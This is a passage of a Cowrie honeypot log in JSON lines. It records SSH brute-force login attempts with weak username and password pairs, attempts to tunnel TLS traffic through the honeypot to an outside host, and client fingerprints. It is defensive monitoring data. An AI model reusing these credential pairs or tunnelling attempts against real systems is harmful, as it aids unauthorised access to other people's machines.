\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\x8b\\x98R\\xf98#\\xc2q`\\xa4\\xc1\\x0eIp\\t6.{u\\x89t\\x15\\xad\\xb5v\\xbb\\x1c\\x1aFHr G\\x98\\x7f\\xb8\\x817\\xe9\\x0f`]pCA\\xbfj\\xc6\\x8b\\x16\\n\\xfd\\xbfTl+y\"\\x84)\\x03\\x01>6\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01|\\xcd\\r\\xe9{\\xff\\xd5\\xd8J>P\\xba\\x85\\x07\\xae\\x91\\x02\\xa52\\xb5f\\x18\\x0c\\x86\\xb9\\xb2\\x14\\x86\\xc1\\x1a\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.459121Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.490797Z","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.507256Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\x8eVo\\xb9\\xf4s\\x18Rj\\xd6\\xe0\\xff?e\\xea  \\xa7\\xfa\\x9e\\x05\\xb1\\xebls\\x1cI\\xb1\\x81k\\x9e \\xae\\x94\\x1akQ\\xecF7\\x0f\\xfcx\\x1b\\xad\\x84\\xfb7W\"7p\\xa7s\\xd79\\'\\x82\\xb4\\x8d\\xf4\\xb3\\x1e\\xdf\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 [\\\\\\x86\\x93\\x82gL\\x8ce\\x00d\\x08\\x11\\xf0\\x8e\\x99\\xdb\\xc1o\\xcb-]\\x8a\\xf4\\xdc\\xef\\x15\\x05\\'\\xf4\\xad8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\x8eVo\\xb9\\xf4s\\x18Rj\\xd6\\xe0\\xff?e\\xea  \\xa7\\xfa\\x9e\\x05\\xb1\\xebls\\x1cI\\xb1\\x81k\\x9e \\xae\\x94\\x1akQ\\xecF7\\x0f\\xfcx\\x1b\\xad\\x84\\xfb7W\"7p\\xa7s\\xd79\\'\\x82\\xb4\\x8d\\xf4\\xb3\\x1e\\xdf\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 [\\\\\\x86\\x93\\x82gL\\x8ce\\x00d\\x08\\x11\\xf0\\x8e\\x99\\xdb\\xc1o\\xcb-]\\x8a\\xf4\\xdc\\xef\\x15\\x05\\'\\xf4\\xad8\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.511160Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:04.639647Z","src_ip":"178.20.210.208","session":"5775d585b873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11902,"dst_ip":"159.203.135.109","dst_port":22,"session":"4696c3b1b2be","protocol":"ssh","message":"New connection: 91.92.40.36:11902 (159.203.135.109:22) [session: 4696c3b1b2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:05.760446Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:05.867600Z","src_ip":"178.20.210.208","session":"5775d585b873","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:05.942786Z","src_ip":"91.92.40.36","session":"4696c3b1b2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:05.949032Z","src_ip":"91.92.40.36","session":"4696c3b1b2be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weihuang","password":"weihuang","message":"login attempt [weihuang/weihuang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:07.584862Z","src_ip":"91.92.40.36","session":"4696c3b1b2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:08.688565Z","src_ip":"91.92.40.36","session":"4696c3b1b2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.8","message":"Connection lost after 35.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:12.608680Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11936,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d8d89d8704","protocol":"ssh","message":"New connection: 91.92.40.36:11936 (159.203.135.109:22) [session: 15d8d89d8704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:15.576243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:16.174290Z","src_ip":"91.92.40.36","session":"15d8d89d8704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:17.362058Z","src_ip":"91.92.40.36","session":"15d8d89d8704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64744,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca44e6ae4bd","protocol":"ssh","message":"New connection: 91.92.40.36:64744 (159.203.135.109:22) [session: cca44e6ae4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:19.750138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:20.719202Z","src_ip":"91.92.40.36","session":"cca44e6ae4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:20.721987Z","src_ip":"91.92.40.36","session":"cca44e6ae4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tianhao","password":"T202020","message":"login attempt [tianhao/T202020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:22.767453Z","src_ip":"91.92.40.36","session":"cca44e6ae4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123qwe","message":"login attempt [ftptest/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:22.937786Z","src_ip":"91.92.40.36","session":"15d8d89d8704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:24.499143Z","src_ip":"91.92.40.36","session":"cca44e6ae4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:25.606774Z","src_ip":"91.92.40.36","session":"15d8d89d8704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65308,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc7bc8467d67","protocol":"ssh","message":"New connection: 91.92.40.36:65308 (159.203.135.109:22) [session: cc7bc8467d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:27.843352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:28.151576Z","src_ip":"91.92.40.36","session":"cc7bc8467d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:28.154821Z","src_ip":"91.92.40.36","session":"cc7bc8467d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9895920753479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:28.428837Z","src_ip":"47.252.53.96","session":"e52fdf20a292","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"backup","password":"123qwe","message":"login attempt [backup/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:30.581992Z","src_ip":"91.92.40.36","session":"cc7bc8467d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":57835,"dst_ip":"10.17.0.5","dst_port":22,"session":"24f4d500241e","protocol":"ssh","message":"New connection: 123.27.168.40:57835 (10.17.0.5:22) [session: 24f4d500241e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:32.090357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:32.094507Z","src_ip":"123.27.168.40","session":"24f4d500241e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:48:32.336673Z","src_ip":"91.92.40.36","session":"cc7bc8467d67","protocol":"ssh"}
